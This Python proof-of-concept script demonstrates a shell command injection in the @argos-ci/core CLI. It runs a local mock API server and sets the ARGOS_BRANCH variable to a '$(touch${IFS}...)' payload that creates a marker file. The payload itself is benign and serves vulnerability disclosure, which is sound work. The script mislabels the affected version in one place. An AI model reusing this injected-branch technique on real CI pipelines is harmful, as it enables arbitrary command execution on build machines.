#!/usr/bin/env python3
"""
PoC for VULN-001 -- OS Command Injection in @argos-ci/core@6.2.0

Vulnerability: CWE-78 (OS Command Injection)
Affected file: packages/core/src/ci-environment/git.ts:87-90

The gitFetch() function passes user-controlled ref strings directly into an
execSync() template literal.  Node.js execSync() invokes /bin/sh -c "...", so
shell metacharacters in the string -- including $() command substitution --
are evaluated before git runs.

Attack chain (source -> sink):
  env.GITHUB_HEAD_REF / ARGOS_BRANCH
    -> config.ts:119-122 (String cast, no sanitisation)
    -> upload.ts:285   getMergeBaseCommitSha({ head: config.branch })
    -> git.ts:123      gitFetch({ ref: input.head, ... })
    -> git.ts:89       execSync(`git fetch ... origin ${input.ref}:${input.target}`)
                       ^^^^^^^^ shell injection sink

This script:
  1. Starts a local HTTP mock server that returns hasRemoteContentAccess=false
     for GET /v2/project, triggering the getMergeBaseCommitSha() code-path.
  2. Invokes the argos CLI with ARGOS_BRANCH set to a malicious value
     containing a $() command substitution.
  3. Checks for a filesystem artefact that proves execution.
"""

import json
import os
import subprocess
import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer

# File created by the injected command -- its existence proves execution.
MARKER_FILE = "/tmp/argos-ci-cve-poc"

# Port for the mock Argos API server.
MOCK_PORT = 7777


class MockArgosAPI(BaseHTTPRequestHandler):
    """Minimal mock of the Argos REST API.

    Only two responses matter:
    - GET  /v2/project -- must return hasRemoteContentAccess=false to trigger
                          the git-based merge-base discovery code-path.
    - POST /v2/builds  -- needs to return a recognisable structure so the SDK
                          does not abort before we can observe the side-effect.
    """

    def log_message(self, fmt, *args):
        # Suppress per-request log noise; PoC progress messages are enough.
        pass

    def _send_json(self, status: int, body: dict) -> None:
        raw = json.dumps(body).encode()
        self.send_response(status)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(raw)))
        self.end_headers()
        self.wfile.write(raw)

    def do_GET(self):
        if self.path.rstrip("/") == "/v2/project":
            # hasRemoteContentAccess=false is the precondition that makes the
            # SDK call getMergeBaseCommitSha() instead of fetching from the
            # Git provider API.  This is the key to reaching the sink.
            self._send_json(200, {
                "id": "proj-1",
                "defaultBaseBranch": "main",
                "hasRemoteContentAccess": False,
            })
        else:
            self._send_json(200, {})

    def do_POST(self):
        # Drain request body to keep the connection clean.
        length = int(self.headers.get("Content-Length", 0))
        self.rfile.read(length)
        if "/builds" in self.path:
            # Return the minimal structure the SDK dereferences after POST /builds.
            self._send_json(201, {
                "id": "build-1",
                "url": "http://localhost/build/1",
                "screenshots": [],
                "pwTraces": [],
            })
        else:
            self._send_json(200, {})

    def do_PUT(self):
        length = int(self.headers.get("Content-Length", 0))
        self.rfile.read(length)
        self._send_json(200, {})


def start_mock_server() -> HTTPServer:
    server = HTTPServer(("127.0.0.1", MOCK_PORT), MockArgosAPI)
    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()
    return server


def main():
    print("[*] VULN-001 PoC -- @argos-ci/core@6.1.1 OS Command Injection")
    print("[*] Source sink: packages/core/src/ci-environment/git.ts:87-90")
    print()

    # Remove any stale marker from a previous run.
    if os.path.exists(MARKER_FILE):
        os.remove(MARKER_FILE)

    # Start the mock Argos API.
    server = start_mock_server()
    print(f"[*] Mock Argos API server listening on 127.0.0.1:{MOCK_PORT}")

    # Build the malicious branch name.
    # Breakdown:
    #   main              -- valid branch prefix so git ref looks plausible
    #   $(...)            -- shell command substitution, evaluated by /bin/sh
    #   touch${IFS}<path> -- ${IFS} expands to a space, bypassing naive space
    #                        filters and forming "touch <path>"
    malicious_branch = f"main$(touch${{IFS}}{MARKER_FILE})"
    print(f"[*] Malicious ARGOS_BRANCH value: {malicious_branch}")
    print(f"[*] Expected shell expansion: touch {MARKER_FILE}")
    print()

    # Empty upload directory -- no real screenshots needed.  The injection
    # occurs during merge-base discovery before any upload loop runs.
    upload_dir = "/tmp/argos-empty-upload"
    os.makedirs(upload_dir, exist_ok=True)

    env = dict(os.environ)
    env.update({
        "ARGOS_API_BASE_URL": f"http://127.0.0.1:{MOCK_PORT}/v2/",
        "ARGOS_TOKEN": "a" * 40,
        "ARGOS_COMMIT": "0" * 40,
        "ARGOS_BRANCH": malicious_branch,
        # Disable update-notifier noise inside the CLI.
        "NO_UPDATE_NOTIFIER": "1",
    })

    print("[*] Running: argos upload <empty-dir> --files '*.png'")
    result = subprocess.run(
        ["argos", "upload", upload_dir, "--files", "*.png"],
        env=env,
        capture_output=True,
        text=True,
        # CWD must be a git repository with an 'origin' remote so that
        # git fetch has a valid context.  /git-workspace is prepared in the
        # Dockerfile for this purpose.
        cwd="/git-workspace",
    )

    print(f"[*] CLI exit code : {result.returncode}")
    if result.stdout.strip():
        print(f"[*] CLI stdout    : {result.stdout.strip()[:600]}")
    if result.stderr.strip():
        print(f"[*] CLI stderr    : {result.stderr.strip()[:600]}")

    server.shutdown()
    print()

    # --- Verdict ---
    if os.path.exists(MARKER_FILE):
        print("=" * 60)
        print("[PASS] VULNERABILITY CONFIRMED")
        print(f"[PASS] Marker file exists: {MARKER_FILE}")
        print("[PASS] The shell command injected via ARGOS_BRANCH was executed")
        print("[PASS] by execSync() inside gitFetch() (git.ts:88-90).")
        print("=" * 60)
        sys.exit(0)
    else:
        print("=" * 60)
        print("[FAIL] Marker file not found -- injection did not trigger.")
        print("[FAIL] Check that CWD is a git repo with a reachable 'origin'.")
        print("[FAIL] Check that the mock server returned hasRemoteContentAccess=false.")
        print("=" * 60)
        sys.exit(1)


if __name__ == "__main__":
    main()